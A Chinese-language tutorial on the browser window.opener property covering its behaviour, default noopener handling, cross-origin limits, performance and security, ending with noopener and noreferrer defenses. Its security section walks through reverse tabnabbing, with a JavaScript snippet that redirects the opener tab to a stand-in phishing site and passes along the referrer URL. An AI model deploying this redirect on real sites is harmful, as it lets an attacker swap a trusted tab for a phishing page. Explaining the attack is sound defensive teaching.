1.window.opener作用
The
Windowinterface’sopenerproperty returns a reference to the window that opened the window, either withopen(), or by navigating a link with atargetattribute.In other words, if window A opens window B, B.opener returns A.
也就是说,用<a target="_blank">打开的页面,可以直接用window.opener来访问源页面的window对象。(但在现在需要添加rel="opener"才能生效)
2.opener存在的条件
在2018年左右以前,通过
<a target="_blank">开启的新窗口都默认带有window.opener,但在Chrome release 88和Safari release 68中都已默认对<a target="_blank">实现noopener,因此如今在以下情况window.opener会返回null:
- 链接加上
rel=noopener属性 - 用
<a target="_blank">打开,但没加上rel=opener - 带有
Cross-Origin-Opener-Policy: same-origin头
所以要在子页面中使用window.opener,需要将请求头设为Cross-Origin-Opener-Policy: unsafe-none(默认),使用<a target="_blank" rel="opener">,或用JS语句window.open("...")。
3.同源与跨域
浏览器提供了完整的跨域保护,在域名相同时,parent对象和opener对象实际上就直接是上一级的window对象;而当域名不同时,parent和opener则是经过包装的一个global对象。这个global对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出DOMException)。
4.性能
当opener存在时,仅在同域情况下两标签页共用一个进程。
Chrome和Edge等都提供了GUI查看渲染进程的情况,通过 更多工具=>任务管理器 查看。
当新打开页面与原页面共用一个进程,若执行一个庞大的JavaScript脚本,那么原标签页也会受到影响,可能出现卡顿的现象。
而如果在链接中加入了noopener,两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。
5.安全性
参考: 危险的 target="_blank" 与 “opener”
如果一个链接使用了target="_blank" rel="opener",那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。
详细步骤
1.在你的网站https://example.com上存在一个链接:<a href="https://an.evil.site"target="_blank">进入一个“邪恶”的网站</a>
2.用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过HTTP Header中的Referer属性来判断用户的来源。
并且,这个网站上包含着类似于这样的JavaScript代码:
const url=encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?'+url);
3.此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了https://a.fake.site/?https%3A%2F%2Fexample.com%2F。
4.恶意网站https://a.fake.site根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。
5.用户关闭https://an.evil.site的标签页,回到原来的网站………………已经回不去了。
上面的攻击步骤是在跨域的情况下的,在跨域情况下,opener对象和parent一样,是受到限制的,仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出DOMException)。
但是与parent不同的是,在跨域的情况下,opener仍然可以调用location.replace方法而parent 则不可以。
如果是在同域的情况下(比如一个网站上的某一个页面被植入了恶意代码),则情况要比上面严重得多。
防御
- Referrer Policy 和 noreferrer
上面的攻击步骤中,用到了 HTTP Header 中的
Referer属性,实际上可以在 HTTP 的响应头中增加ReferrerPolicy头来保证来源隐私安全。
ReferrerPolicy 需要修改后端代码来实现,而在前端,也可以使用<a>标签的rel属性来指定rel="noreferrer"来保证来源隐私安全。
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>
但是要注意的是:即使限制了referer的传递,仍然不能阻止原标签被恶意跳转。
- noopener
为了安全,现代浏览器都支持在
<a>标签的rel属性中指定rel="noopener",这样,在打开的新标签页中,将无法再使用opener对象了,它为设置为了null。
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>